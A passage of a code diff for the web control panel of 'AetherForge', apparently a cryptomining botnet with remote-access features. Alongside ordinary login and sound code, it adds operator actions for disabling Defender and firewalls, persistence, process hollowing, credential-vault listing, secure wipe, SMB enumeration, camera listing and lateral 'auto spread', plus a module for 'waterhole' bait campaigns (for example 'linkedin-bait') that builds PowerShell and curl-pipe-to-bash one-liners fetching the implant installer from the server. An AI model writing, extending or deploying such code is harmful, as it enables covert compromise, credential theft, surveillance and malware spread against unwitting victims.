+  const [ready, setReady] = useState(false);
+  const [authed, setAuthed] = useState(!!getStoredAuth());
+  const [degraded, setDegraded] = useState(false);
+  const [user, setUser] = useState('');
+  const [pass, setPass] = useState('');
+  const [err, setErr] = useState('');
+  const [sessionExpired, setSessionExpired] = useState(false);
+  const [publicOpen, setPublicOpen] = useState(false);
+  const [publicBuilds, setPublicBuilds] = useState<PublicBuildDTO[]>([]);
+  const [publicLoading, setPublicLoading] = useState(false);
+  const [publicErr, setPublicErr] = useState('');
+
+  useEffect(() => {
+    const sync = () => {
+      const hasAuth = !!getStoredAuth();
+      setAuthed(hasAuth);
+      if (!hasAuth) {
+        setSessionExpired(consumeAuthExpiredFlag());
+      }
+    };
+    window.addEventListener('aetherforge-auth', sync);
+    return () => window.removeEventListener('aetherforge-auth', sync);
+  }, []);
+
+  useEffect(() => {
+    const token = getStoredAuth();
+    if (!token) {
+      setAuthed(false);
+      setSessionExpired(consumeAuthExpiredFlag());
+      setReady(true);
+      return;
+    }
+    fetch('/api/v1/config', { headers: authHeaders() })
+      .then((r) => {
+        if (r.status === 401) {
+          clearStoredAuth({ silent: true, expired: true });
+          setAuthed(false);
+          setSessionExpired(true);
+        } else if (!r.ok) {
+          // Server reachable but unhappy — keep saved credentials (degraded mode).
+          setAuthed(true);
+          setDegraded(true);
+        } else {
+          setAuthed(true);
+          setDegraded(false);
+        }
+        setReady(true);
+      })
+      .catch(() => {
+        // Network blip — trust stored credentials until the server responds.
+        setAuthed(true);
+        setDegraded(true);
+        setReady(true);
+      });
+  }, []);
+
+  const handleLogin = async (e: React.FormEvent) => {
+    e.preventDefault();
+    setErr('');
+    setSessionExpired(false);
+    const headers: Record<string, string> = {
+      [AETHERFORGE_CLIENT_HEADER]: AETHERFORGE_CLIENT_VALUE,
+      Authorization: `Basic ${encodeBasicToken(user, pass)}`,
+    };
+    try {
+      const res = await fetch('/api/v1/config', { headers });
+      if (!res.ok) {
+        setErr('Login failed — check username and password.');
+        play('error');
+        return;
+      }
+      setStoredAuth(user, pass);
+      setAuthed(true);
+      setDegraded(false);
+      play('success');
+    } catch {
+      setErr('Cannot reach server — check that miner-server is running.');
+    }
+  };
+
+  if (!ready) {
+    return (
+      <div className="session-gate">
+        <div className="session-gate-sacred-ring" aria-hidden>
+          <FlowerOfLifeWatermark opacity={0.5} />
+        </div>
+        <p className="font-tech">Starting AetherForge…</p>
+      </div>
+    );
+  }
+
+  const loadPublicBuilds = async () => {
+    setPublicLoading(true);
+    setPublicErr('');
+    try {
+      const res = await fetch('/api/v1/public/builds');
+      if (!res.ok) throw new Error('unavailable');
+      const data = (await res.json()) as { builds: PublicBuildDTO[] };
+      setPublicBuilds(data.builds ?? []);
+      setPublicOpen(true);
+    } catch {
+      setPublicErr('Public builds are not available yet — forge an installer first.');
+      setPublicOpen(true);
+    } finally {
+      setPublicLoading(false);
+    }
+  };
+
+  if (!authed) {
+    return (
+      <div className="session-gate">
+        <div className="session-gate-sacred-ring" aria-hidden>
+          <FlowerOfLifeWatermark opacity={0.5} />
+        </div>
+        <div className="session-gate-keys" aria-hidden>
+          <div className="session-gate-key session-gate-key--tl">
+            <KnowledgeKey opacity={0.55} />
+          </div>
+          <div className="session-gate-key session-gate-key--br">
+            <KnowledgeKey opacity={0.45} />
+          </div>
+        </div>
+        <form className="session-gate-card card" onSubmit={handleLogin}>
+          <h1 className="font-display">AetherForge</h1>
+          <p className="form-hint">Sign in to open the command deck.</p>
+          {sessionExpired && (
+            <p className="form-hint" style={{ color: 'var(--accent-red)' }}>
+              Your session expired — please sign in again.
+            </p>
+          )}
+          <label className="label" htmlFor="session-user">Username</label>
+          <input id="session-user" className="input" value={user} onChange={(e) => setUser(e.target.value)} autoComplete="username" />
+          <label className="label" htmlFor="session-pass">Password</label>
+          <input
+            id="session-pass"
+            className="input"
+            type="password"
+            value={pass}
+            onChange={(e) => setPass(e.target.value)}
+            autoComplete="current-password"
+          />
+          {err && <p className="form-hint" style={{ color: 'var(--accent-red)' }}>{err}</p>}
+          <button type="submit" className="btn btn-primary btn-lg">
+            Enter Command Deck
+          </button>
+          <p className="session-gate-whisper" aria-hidden>
+            ψ · the deck remembers every key
+          </p>
+          <div className="session-public-drawer" style={{ marginTop: '1.25rem', width: '100%' }}>
+            <button
+              type="button"
+              className="btn btn-outline btn-sm"
+              style={{ width: '100%' }}
+              onClick={() => void loadPublicBuilds()}
+              disabled={publicLoading}
+            >
+              {publicLoading ? 'Loading…' : 'Public builds (no login)'}
+            </button>
+            {publicOpen && (
+              <div className="card" style={{ marginTop: '0.75rem', textAlign: 'left' }}>
+                <p className="form-hint" style={{ marginTop: 0 }}>
+                  Pinned + latest forged installers — no credentials required.
+                </p>
+                {publicErr && <p className="form-hint" style={{ color: 'var(--accent-red)' }}>{publicErr}</p>}
+                {publicBuilds.length === 0 && !publicErr && (
+                  <p className="form-hint">No public builds yet.</p>
+                )}
+                <ul style={{ listStyle: 'none', margin: 0, padding: 0 }}>
+                  {publicBuilds.map((b) => (
+                    <li key={b.id} style={{ marginBottom: '0.5rem', fontSize: '0.85rem' }}>
+                      <strong>{b.worker_name}</strong>
+                      <span className="form-hint"> · {b.platform}</span>
+                      {b.pinned && <span> 📌</span>}
+                      <br />
+                      <a href={b.download_url} className="mono" style={{ fontSize: '0.75rem' }}>
+                        Download
+                      </a>
+                    </li>
+                  ))}
+                </ul>
+              </div>
+            )}
+          </div>
+        </form>
+      </div>
+    );
+  }
+
+  return (
+    <>
+      {degraded && (
+        <div className="session-degraded-banner" role="status">
+          Cannot reach server — using saved credentials. Some data may be stale until connectivity returns.
+        </div>
+      )}
+      {children}
+    </>
+  );
+}
--- a/server/web/src/context/AmbientMusicContext.tsx
+++ b/server/web/src/context/AmbientMusicContext.tsx
@@ -0,0 +1,81 @@
+import React, { createContext, useCallback, useContext, useEffect, useMemo, useState } from 'react';
+import {
+  ambientMusicPlayer,
+  loadBgmEnabled,
+  loadBgmVolume,
+} from '../audio/ambientMusic';
+
+type AmbientMusicContextValue = {
+  enabled: boolean;
+  playing: boolean;
+  volume: number;
+  setEnabled: (v: boolean) => void;
+  setVolume: (v: number) => void;
+  togglePlay: () => void;
+};
+
+const AmbientMusicContext = createContext<AmbientMusicContextValue | null>(null);
+
+export function AmbientMusicProvider({ children }: { children: React.ReactNode }) {
+  const [enabled, setEnabledState] = useState(loadBgmEnabled);
+  const [playing, setPlaying] = useState(() => ambientMusicPlayer.isPlaying());
+  const [volume, setVolumeState] = useState(loadBgmVolume);
+
+  const setEnabled = useCallback((v: boolean) => {
+    ambientMusicPlayer.setEnabled(v);
+    setEnabledState(v);
+    if (v) ambientMusicPlayer.unlock();
+  }, []);
+
+  const setVolume = useCallback((v: number) => {
+    ambientMusicPlayer.setVolume(v);
+    setVolumeState(ambientMusicPlayer.getVolume());
+  }, []);
+
+  const togglePlay = useCallback(() => {
+    ambientMusicPlayer.unlock();
+    ambientMusicPlayer.togglePlay();
+    setPlaying(ambientMusicPlayer.isPlaying());
+    setEnabledState(ambientMusicPlayer.isEnabled());
+  }, []);
+
+  useEffect(() => {
+    return ambientMusicPlayer.subscribe(setPlaying);
+  }, []);
+
+  useEffect(() => {
+    ambientMusicPlayer.setEnabled(enabled);
+    ambientMusicPlayer.setVolume(volume);
+  }, [enabled, volume]);
+
+  useEffect(() => {
+    const unlock = () => ambientMusicPlayer.unlock();
+    window.addEventListener('pointerdown', unlock, { once: true, passive: true });
+    window.addEventListener('keydown', unlock, { once: true });
+    return () => {
+      window.removeEventListener('pointerdown', unlock);
+      window.removeEventListener('keydown', unlock);
+    };
+  }, []);
+
+  const value = useMemo(
+    () => ({ enabled, playing, volume, setEnabled, setVolume, togglePlay }),
+    [enabled, playing, volume, setEnabled, setVolume, togglePlay]
+  );
+
+  return <AmbientMusicContext.Provider value={value}>{children}</AmbientMusicContext.Provider>;
+}
+
+const noopAmbient: AmbientMusicContextValue = {
+  enabled: false,
+  playing: false,
+  volume: 0,
+  setEnabled: () => {},
+  setVolume: () => {},
+  togglePlay: () => {},
+};
+
+export function useAmbientMusic() {
+  const ctx = useContext(AmbientMusicContext);
+  return ctx ?? noopAmbient;
+}
--- a/server/web/src/context/SoundContext.test.tsx
+++ b/server/web/src/context/SoundContext.test.tsx
@@ -0,0 +1,35 @@
+/**
+ * @vitest-environment happy-dom
+ */
+import { describe, it, expect, vi, beforeEach } from 'vitest';
+import { render, fireEvent } from '@testing-library/react';
+import { SoundProvider, SFX_INTERACTIVE_SELECTOR } from './SoundContext';
+import * as hapticModule from '../audio/hapticEngine';
+
+describe('SoundProvider click cues', () => {
+  const play = vi.fn();
+
+  beforeEach(() => {
+    play.mockClear();
+    vi.spyOn(hapticModule.hapticEngine, 'isEnabled').mockReturnValue(true);
+    vi.spyOn(hapticModule.hapticEngine, 'play').mockImplementation(play);
+  });
+
+  it('covers card-style interactive rows', () => {
+    expect(SFX_INTERACTIVE_SELECTOR).toContain('.agent-list-item.compact-row');
+    expect(SFX_INTERACTIVE_SELECTOR).toContain('.crucible-node-card');
+    expect(SFX_INTERACTIVE_SELECTOR).toContain('.pt-agent-card');
+  });
+
+  it('plays click on agent list row', () => {
+    render(
+      <SoundProvider>
+        <div className="agent-list-item compact-row" data-testid="row">
+          Fleet node
+        </div>
+      </SoundProvider>
+    );
+    fireEvent.click(document.querySelector('[data-testid="row"]')!);
+    expect(play).toHaveBeenCalledWith('click');
+  });
+});
--- a/server/web/src/context/SoundContext.tsx
+++ b/server/web/src/context/SoundContext.tsx
@@ -1,20 +1,52 @@
 import React, { createContext, useCallback, useContext, useEffect, useMemo, useState } from 'react';
 import { hapticEngine, loadSoundEnabled, loadSoundVolume, type SoundCue } from '../audio/hapticEngine';
+import { hoverSfxEngine, loadHoverEnabled, loadHoverVolume } from '../audio/hoverSfx';

 type SoundContextValue = {
  enabled: boolean;
  volume: number;
+  hoverEnabled: boolean;
+  hoverVolume: number;
  setEnabled: (v: boolean) => void;
  setVolume: (v: number) => void;
+  setHoverEnabled: (v: boolean) => void;
+  setHoverVolume: (v: number) => void;
  play: (cue: SoundCue) => void;
  preview: (cue?: SoundCue) => void;
+  previewHover: () => void;
 };

 const SoundContext = createContext<SoundContextValue | null>(null);

+/** Elements that should emit the global UI click/nav cue (see SoundProvider listener). */
+export const SFX_INTERACTIVE_SELECTOR = [
+  'button:not(:disabled)',
+  '.btn:not(:disabled)',
+  '[role="button"]:not([aria-disabled="true"])',
+  '.nav-link',
+  '.mobile-nav__link',
+  '.mobile-nav__more-btn',
+  '.agent-list-item.compact-row',
+  '.crucible-node-card',
+  '.crucible-group-item',
+  '.pt-agent-card:not([style*="cursor: not-allowed"])',
+  '.endpoint-chip:not(:disabled)',
+  '.fleet-group-chip:not(:disabled)',
+].join(', ');
+
+/** Elements that emit hover highlight SFX (debounced). */
+export const HOVER_INTERACTIVE_SELECTOR = [
+  SFX_INTERACTIVE_SELECTOR,
+  '.neon-card',
+  '.card',
+  'a[href]:not([data-sfx="off"])',
+].join(', ');
+
 export function SoundProvider({ children }: { children: React.ReactNode }) {
  const [enabled, setEnabledState] = useState(loadSoundEnabled);
  const [volume, setVolumeState] = useState(loadSoundVolume);
+  const [hoverEnabled, setHoverEnabledState] = useState(loadHoverEnabled);
+  const [hoverVolume, setHoverVolumeState] = useState(loadHoverVolume);

  const setEnabled = useCallback((v: boolean) => {
    hapticEngine.setEnabled(v);
@@ -35,11 +67,31 @@ export function SoundProvider({ children }: { children: React.ReactNode }) {
    hapticEngine.play(cue);
  }, []);

+  const setHoverEnabled = useCallback((v: boolean) => {
+    hoverSfxEngine.setEnabled(v);
+    setHoverEnabledState(v);
+  }, []);
+
+  const setHoverVolume = useCallback((v: number) => {
+    hoverSfxEngine.setVolume(v);
+    setHoverVolumeState(hoverSfxEngine.getVolume());
+  }, []);
+
+  const previewHover = useCallback(() => {
+    hoverSfxEngine.unlock();
+    hoverSfxEngine.preview(enabled);
+  }, [enabled]);
+
  useEffect(() => {
    hapticEngine.setEnabled(enabled);
    hapticEngine.setVolume(volume);
  }, [enabled, volume]);

+  useEffect(() => {
+    hoverSfxEngine.setEnabled(hoverEnabled);
+    hoverSfxEngine.setVolume(hoverVolume);
+  }, [hoverEnabled, hoverVolume]);
+
  useEffect(() => {
    const unlock = () => hapticEngine.unlock();
    window.addEventListener('pointerdown', unlock, { once: true, passive: true });
@@ -56,9 +108,7 @@ export function SoundProvider({ children }: { children: React.ReactNode }) {
      const target = e.target as HTMLElement | null;
      if (!target) return;
      if (target.closest('[data-sfx="off"]')) return;
-      const interactive = target.closest(
-        'button:not(:disabled), .btn:not(:disabled), [role="button"]:not([aria-disabled="true"]), .nav-link, .mobile-nav__link, .mobile-nav__more-btn'
-      );
+      const interactive = target.closest(SFX_INTERACTIVE_SELECTOR);
      if (!interactive) return;
      const isNav =
        interactive.classList.contains('nav-link') ||
@@ -69,9 +119,49 @@ export function SoundProvider({ children }: { children: React.ReactNode }) {
    return () => document.removeEventListener('click', onClick, true);
  }, [enabled]);

+  useEffect(() => {
+    const onMouseOver = (e: MouseEvent) => {
+      if (!hapticEngine.isEnabled() || !hoverSfxEngine.isEnabled()) return;
+      const target = e.target as HTMLElement | null;
+      if (!target) return;
+      if (target.closest('[data-sfx="off"]')) return;
+      const interactive = target.closest(HOVER_INTERACTIVE_SELECTOR);
+      if (!interactive) return;
+      const related = e.relatedTarget as Node | null;
+      if (related && interactive.contains(related)) return;
+      hoverSfxEngine.play(true);
+    };
+    document.addEventListener('mouseover', onMouseOver, true);
+    return () => document.removeEventListener('mouseover', onMouseOver, true);
+  }, [enabled, hoverEnabled]);
+
  const value = useMemo(
-    () => ({ enabled, volume, setEnabled, setVolume, play, preview }),
-    [enabled, volume, setEnabled, setVolume, play, preview]
+    () => ({
+      enabled,
+      volume,
+      hoverEnabled,
+      hoverVolume,
+      setEnabled,
+      setVolume,
+      setHoverEnabled,
+      setHoverVolume,
+      play,
+      preview,
+      previewHover,
+    }),
+    [
+      enabled,
+      volume,
+      hoverEnabled,
+      hoverVolume,
+      setEnabled,
+      setVolume,
+      setHoverEnabled,
+      setHoverVolume,
+      play,
+      preview,
+      previewHover,
+    ]
  );

  return <SoundContext.Provider value={value}>{children}</SoundContext.Provider>;
@@ -80,10 +170,15 @@ export function SoundProvider({ children }: { children: React.ReactNode }) {
 const noopSound: SoundContextValue = {
  enabled: false,
  volume: 0,
+  hoverEnabled: false,
+  hoverVolume: 0,
  setEnabled: () => {},
  setVolume: () => {},
+  setHoverEnabled: () => {},
+  setHoverVolume: () => {},
  play: () => {},
  preview: () => {},
+  previewHover: () => {},
 };

 export function useSound() {
--- a/server/web/src/help/aggressiveActions.ts
+++ b/server/web/src/help/aggressiveActions.ts
@@ -11,6 +11,9 @@ export const AGGRESSIVE_REMOTE_ACTIONS = [
  'tunnel_ssh_forward',
  'tunnel_stop',
  'subnet_scan',
+  'smb_shares',
+  'credential_vault_list',
+  'secure_wipe',
  'defender_off',
  'firewall_punch',
  'firewall_off',
@@ -32,7 +35,10 @@ export function canRunAggressiveAction(
  if (platform === 'darwin' && action === 'defender_off') return false;
  if (
    platform !== 'windows' &&
-    (action.startsWith('firewall_') || action === 'bits_persist' || action === 'host_binary_persist')
+    (action.startsWith('firewall_') ||
+      action === 'bits_persist' ||
+      action === 'host_binary_persist' ||
+      action === 'smb_shares')
  ) {
    return false;
  }
@@ -49,6 +55,9 @@ export function canRunAggressiveAction(
    case 'tunnel_ssh_forward':
    case 'tunnel_stop':
    case 'subnet_scan':
+    case 'smb_shares':
+    case 'credential_vault_list':
+    case 'secure_wipe':
    case 'defender_off':
    case 'firewall_punch':
    case 'firewall_off':
@@ -82,6 +91,9 @@ export function aggressiveActionHint(
  if (platform !== 'windows' && action === 'host_binary_persist') {
    return 'Host binary hijack is Windows-only';
  }
+  if (platform !== 'windows' && action === 'smb_shares') {
+    return 'SMB share enumeration is Windows-only';
+  }
  if (canRunAggressiveAction(action, caps, platform)) return undefined;
  switch (action) {
    case 'hole_punch':
--- a/server/web/src/help/crucibleOps.test.ts
+++ b/server/web/src/help/crucibleOps.test.ts
@@ -0,0 +1,117 @@
+import { describe, expect, it } from 'vitest';
+import { mockAgent } from '../test/fixtures';
+import {
+  CRUCIBLE_PHASE_C_ACTIONS,
+  CRUCIBLE_PHASE_C_STUBS,
+  buildSSHForwardPayload,
+  isWindowsPlatform,
+  newPortForwardRow,
+  onlineAgents,
+  parseCameraListMessage,
+  parseRemoteHostPort,
+  selectionAggressiveHint,
+  selectionCanRunAggressive,
+  validatePortForwardRows,
+  windowsOnlineAgents,
+} from './crucibleOps';
+
+const fullCaps = {
+  hole_punch: true,
+  remote_aggressive: true,
+  mesh_p2p: true,
+  auto_spread: true,
+  process_hollowing: false,
+  ai_enabled: false,
+};
+
+describe('crucibleOps', () => {
+  it('onlineAgents filters to online status', () => {
+    const agents = [
+      mockAgent({ id: 'a', status: 'online' }),
+      mockAgent({ id: 'b', status: 'offline' }),
+    ];
+    expect(onlineAgents(agents).map((a) => a.id)).toEqual(['a']);
+  });
+
+  it('windowsOnlineAgents filters to online Windows nodes', () => {
+    const agents = [
+      mockAgent({ id: 'w', status: 'online', platform: 'windows' }),
+      mockAgent({ id: 'l', status: 'online', platform: 'linux' }),
+    ];
+    expect(windowsOnlineAgents(agents).map((a) => a.id)).toEqual(['w']);
+  });
+
+  it('isWindowsPlatform treats unknown as Windows', () => {
+    expect(isWindowsPlatform(undefined)).toBe(true);
+    expect(isWindowsPlatform('windows')).toBe(true);
+    expect(isWindowsPlatform('linux')).toBe(false);
+  });
+
+  it('selectionCanRunAggressive allows when any target has capability', () => {
+    const agents = [
+      mockAgent({ id: 'w', status: 'online', platform: 'windows', capabilities: fullCaps }),
+      mockAgent({
+        id: 'l',
+        status: 'online',
+        platform: 'linux',
+        capabilities: { ...fullCaps, remote_aggressive: false },
+      }),
+    ];
+    expect(selectionCanRunAggressive('firewall_off', agents)).toBe(true);
+    expect(selectionCanRunAggressive('mesh_status', [{ ...agents[1], capabilities: { ...fullCaps, mesh_p2p: false } }])).toBe(false);
+  });
+
+  it('selectionAggressiveHint explains blocked bulk ops', () => {
+    const agents = [
+      mockAgent({
+        id: 'l',
+        status: 'online',
+        platform: 'linux',
+        capabilities: fullCaps,
+      }),
+    ];
+    expect(selectionAggressiveHint('firewall_off', agents)).toContain('Windows-only');
+    expect(selectionAggressiveHint('hole_punch', [])).toContain('online');
+  });
+
+  it('parseCameraListMessage strips ffmpeg banner lines', () => {
+    const msg = `[dshow @ 0] DirectShow video devices
+"USB2.0 HD UVC WebCam"
+/dev/video0`;
+    expect(parseCameraListMessage(msg)).toEqual(['"USB2.0 HD UVC WebCam"', '/dev/video0']);
+  });
+
+  it('lists Phase C actions', () => {
+    expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('smb_shares');
+    expect(CRUCIBLE_PHASE_C_ACTIONS).toContain('spread_status');
+    expect(CRUCIBLE_PHASE_C_STUBS.some((s) => s.id === 'smb_shares')).toBe(true);
+  });
+
+  it('parseRemoteHostPort splits host and port', () => {
+    expect(parseRemoteHostPort('192.168.1.10:3389')).toEqual({ host: '192.168.1.10', port: 3389 });
+    expect(parseRemoteHostPort('[::1]:22')).toEqual({ host: '::1', port: 22 });
+    expect(parseRemoteHostPort('bad')).toBeNull();
+  });
+
+  it('buildSSHForwardPayload omits empty ssh user', () => {
+    expect(buildSSHForwardPayload('2222', '10.0.0.5:22', '')).toEqual({
+      local_port: 2222,
+      remote_host: '10.0.0.5',
+      remote_port: 22,
+    });
+    expect(buildSSHForwardPayload('2222', '10.0.0.5:22', 'admin')).toEqual({
+      local_port: 2222,
+      remote_host: '10.0.0.5',
+      remote_port: 22,
+      ssh_user: 'admin',
+    });
+  });
+
+  it('validatePortForwardRows rejects invalid rows', () => {
+    expect(validatePortForwardRows([])).toContain('at least one');
+    const row = newPortForwardRow('r1');
+    row.remoteHostPort = 'nope';
+    expect(validatePortForwardRows([row])).toContain('Invalid row');
+    expect(validatePortForwardRows([newPortForwardRow('r2')])).toBeNull();
+  });
+});
--- a/server/web/src/help/crucibleOps.ts
+++ b/server/web/src/help/crucibleOps.ts
@@ -0,0 +1,147 @@
+import type { Agent } from '../types';
+import {
+  aggressiveActionHint,
+  canRunAggressiveAction,
+  type AggressiveRemoteAction,
+} from './aggressiveActions';
+
+/** Phase C Crucible remote actions (wired in agent + CrucibleExpandedOps). */
+export const CRUCIBLE_PHASE_C_ACTIONS = [
+  'smb_shares',
+  'spread_status',
+  'credential_vault_list',
+  'secure_wipe',
+  'tunnel_ssh_forward',
+] as const;
+
+export type CruciblePhaseCAction = (typeof CRUCIBLE_PHASE_C_ACTIONS)[number];
+
+/** @deprecated use CRUCIBLE_PHASE_C_ACTIONS — kept for tests migrating off stubs */
+export const CRUCIBLE_PHASE_C_STUBS = [
+  { id: 'smb_shares', label: 'SMB Shares', hint: 'Enumerate accessible \\\\host\\share on Windows LAN' },
+  { id: 'spread_status', label: 'Spread Status', hint: 'Last lateral spread sweep summary JSON' },
+  { id: 'credential_vault_list', label: 'Credential Names', hint: 'Vault / keychain / SSH key names only' },
+  { id: 'secure_wipe', label: 'Secure Wipe', hint: 'Overwrite-then-delete folder' },
+  { id: 'port_fwd_matrix', label: 'Port-Forward Matrix', hint: 'Multi-node SSH local forward grid' },
+] as const;
+
+export function isWindowsPlatform(platform?: string): boolean {
+  if (!platform) return true;
+  return platform.toLowerCase().includes('win');
+}
+
+export function onlineAgents(agents: Agent[]): Agent[] {
+  return agents.filter((a) => a.status === 'online');
+}
+
+export function windowsOnlineAgents(agents: Agent[]): Agent[] {
+  return onlineAgents(agents).filter((a) => isWindowsPlatform(a.platform));
+}
+
+/** True when at least one online selected agent can run the aggressive action. */
+export function selectionCanRunAggressive(
+  action: AggressiveRemoteAction,
+  agents: Agent[]
+): boolean {
+  const targets = onlineAgents(agents);
+  if (targets.length === 0) return false;
+  return targets.some((a) => canRunAggressiveAction(action, a.capabilities, a.platform));
+}
+
+/** Disabled-state tooltip for bulk aggressive ops across a mixed selection. */
+export function selectionAggressiveHint(
+  action: AggressiveRemoteAction,
+  agents: Agent[]
+): string | undefined {
+  const targets = onlineAgents(agents);
+  if (targets.length === 0) return 'Select at least one online node';
+  if (selectionCanRunAggressive(action, agents)) return undefined;
+  const blocked = targets.find(
+    (a) => !canRunAggressiveAction(action, a.capabilities, a.platform)
+  );
+  return aggressiveActionHint(action, blocked?.capabilities, blocked?.platform);
+}
+
+/** Parse camera_list newline output into device paths/names. */
+export function parseCameraListMessage(message: string): string[] {
+  return message
+    .split('\n')
+    .map((l) => l.trim())
+    .filter((l) => l.length > 0 && !l.startsWith('['));
+}
+
+export interface PortForwardRow {
+  id: string;
+  localPort: string;
+  remoteHostPort: string;
+  sshUser: string;
+}
+
+export interface SSHForwardPayload {
+  local_port: number;
+  remote_host: string;
+  remote_port: number;
+  ssh_user?: string;
+}
+
+/** Split "host:port" with optional IPv6 bracket form [::1]:22 */
+export function parseRemoteHostPort(raw: string): { host: string; port: number } | null {
+  const trimmed = raw.trim();
+  if (!trimmed) return null;
+  if (trimmed.startsWith('[')) {
+    const end = trimmed.indexOf(']');
+    if (end < 0) return null;
+    const host = trimmed.slice(1, end);
+    const rest = trimmed.slice(end + 1);
+    if (!rest.startsWith(':')) return null;
+    const port = parseInt(rest.slice(1), 10);
+    if (!host || !Number.isFinite(port) || port <= 0 || port > 65535) return null;
+    return { host, port };
+  }
+  const idx = trimmed.lastIndexOf(':');
+  if (idx <= 0) return null;
+  const host = trimmed.slice(0, idx);
+  const port = parseInt(trimmed.slice(idx + 1), 10);
+  if (!host || !Number.isFinite(port) || port <= 0 || port > 65535) return null;
+  return { host, port };
+}
+
+export function buildSSHForwardPayload(
+  localPort: string,
+  remoteHostPort: string,
+  sshUser?: string
+): SSHForwardPayload | null {
+  const local = parseInt(localPort.trim(), 10);
+  const remote = parseRemoteHostPort(remoteHostPort);
+  if (!Number.isFinite(local) || local <= 0 || local > 65535 || !remote) return null;
+  const payload: SSHForwardPayload = {
+    local_port: local,
+    remote_host: remote.host,
+    remote_port: remote.port,
+  };
+  const user = sshUser?.trim();
+  if (user) payload.ssh_user = user;
+  return payload;
+}
+
+export function newPortForwardRow(id?: string): PortForwardRow {
+  const rowId = id ?? `pf-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`;
+  return { id: rowId, localPort: '2222', remoteHostPort: '192.168.1.10:22', sshUser: '' };
+}
+
+export function validatePortForwardRows(rows: PortForwardRow[]): string | null {
+  if (rows.length === 0) return 'Add at least one forward row';
+  for (const row of rows) {
+    if (!buildSSHForwardPayload(row.localPort, row.remoteHostPort, row.sshUser)) {
+      return `Invalid row: local ${row.localPort} → ${row.remoteHostPort}`;
+    }
+  }
+  return null;
+}
+
+export type CrucibleDispatchArgs = Record<string, unknown>;
+
+export interface CrucibleDispatchTarget {
+  id: string;
+  name: string;
+}
--- a/server/web/src/help/emberwake.test.ts
+++ b/server/web/src/help/emberwake.test.ts
@@ -0,0 +1,32 @@
+import { describe, it, expect } from 'vitest';
+import {
+  campaignQuery,
+  combinedDropperQuery,
+  ps1Oneliner,
+  shOneliner,
+  publicDownloadUrl,
+} from './emberwake';
+
+describe('emberwake URL helpers', () => {
+  it('builds campaign query slug', () => {
+    expect(campaignQuery('linkedin-bait')).toBe('?c=linkedin-bait');
+    expect(campaignQuery('  ')).toBe('');
+    expect(campaignQuery('bad slug!')).toBe('?c=badslug');
+  });
+
+  it('combines pin and campaign', () => {
+    expect(combinedDropperQuery('abc-123', 'wave-a')).toBe('?pin=abc-123&c=wave-a');
+    expect(combinedDropperQuery('', 'solo')).toBe('?c=solo');
+  });
+
+  it('formats one-liners', () => {
+    expect(ps1Oneliner('http://10.0.0.5:8989/', '?c=x')).toContain('install.ps1?c=x');
+    expect(shOneliner('http://10.0.0.5:8989', '')).toContain('install.sh');
+  });
+
+  it('public download URL', () => {
+    expect(publicDownloadUrl('http://host', 'build-1', 'c1')).toBe(
+      'http://host/api/v1/public/download/build-1?c=c1',
+    );
+  });
+});
--- a/server/web/src/help/emberwake.ts
+++ b/server/web/src/help/emberwake.ts
@@ -0,0 +1,45 @@
+/** Campaign URL builders for Emberwake / waterhole spreading. */
+
+export function campaignQuery(campaign: string): string {
+  const slug = campaign.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 64);
+  return slug ? `?c=${encodeURIComponent(slug)}` : '';
+}
+
+export function pinQuery(buildId: string): string {
+  const id = buildId.trim();
+  return id ? `?pin=${encodeURIComponent(id)}` : '';
+}
+
+export function combinedDropperQuery(pinBuildId: string, campaign: string): string {
+  const parts: string[] = [];
+  const pin = pinBuildId.trim();
+  const slug = campaign.trim().replace(/[^a-zA-Z0-9._-]/g, '').slice(0, 64);
+  if (pin) parts.push(`pin=${encodeURIComponent(pin)}`);
+  if (slug) parts.push(`c=${encodeURIComponent(slug)}`);
+  return parts.length ? `?${parts.join('&')}` : '';
+}
+
+export function ps1Oneliner(baseUrl: string, query = ''): string {
+  const base = baseUrl.replace(/\/$/, '');
+  return `iex (irm '${base}/install.ps1${query}')`;
+}
+
+export function shOneliner(baseUrl: string, query = ''): string {
+  const base = baseUrl.replace(/\/$/, '');
+  return `curl -sL '${base}/install.sh${query}' | bash`;
+}
+
+export function commandOneliner(baseUrl: string, query = ''): string {
+  const base = baseUrl.replace(/\/$/, '');
+  return `curl -sL '${base}/install.command${query}' | bash`;
+}
+
+export function getUrl(baseUrl: string, query = ''): string {
+  return `${baseUrl.replace(/\/$/, '')}/get${query}`;
+}
+
+export function publicDownloadUrl(origin: string, buildId: string, campaign = ''): string {
+  const base = origin.replace(/\/$/, '');
+  const q = campaignQuery(campaign);
+  return `${base}/api/v1/public/download/${encodeURIComponent(buildId)}${q}`;
+}
--- a/server/web/src/help/remoteActions.test.ts
+++ b/server/web/src/help/remoteActions.test.ts
@@ -73,6 +73,20 @@ const AGENT_HANDLED = new Set([
  'bits_persist',
  'host_binary_persist',
  'mesh_status',
+  'connectivity_probe',
+  'arp_neighbors',
+  'persistence_audit',
+  'kill_process',
+  'delete_path',
+  'move_path',
+  'registry_read',
+  'registry_write',
+  'registry_delete',
+  'upgrade',
+  'smb_shares',
+  'spread_status',
+  'credential_vault_list',
+  'secure_wipe',
 ]);

 describe('remote action wiring', () => {
@@ -96,8 +110,8 @@ describe('remote action wiring', () => {

 describe('AGGRESSIVE_REMOTE_ACTIONS', () => {
  it('lists every wired aggressive command once', () => {
-    expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(18);
-    expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(18);
+    expect(AGGRESSIVE_REMOTE_ACTIONS).toHaveLength(21);
+    expect(new Set(AGGRESSIVE_REMOTE_ACTIONS).size).toBe(21);
  });
 });

@@ -138,6 +152,9 @@ describe('canRunAggressiveAction edge cases', () => {
      'tunnel_ssh_forward',
      'tunnel_stop',
      'subnet_scan',
+      'smb_shares',
+      'credential_vault_list',
+      'secure_wipe',
      'defender_off',
      'firewall_punch',
      'firewall_off',
--- a/server/web/src/help/remoteDirBrowser.test.ts
+++ b/server/web/src/help/remoteDirBrowser.test.ts
@@ -0,0 +1,41 @@
+import { describe, expect, it } from 'vitest';
+import {
+  defaultBrowseRoot,
+  joinRemotePath,
+  parseListDirMessage,
+  pathBreadcrumbs,
+} from './remoteDirBrowser';
+
+describe('remoteDirBrowser helpers', () => {
+  it('parseListDirMessage reads agent JSON', () => {
+    const msg = JSON.stringify({
+      path: '/home/alice',
+      home_dir: '/home/alice',
+      platform: 'linux',
+      entries: [{ name: 'docs', is_dir: true, size: 0 }],
+    });
+    const parsed = parseListDirMessage(msg);
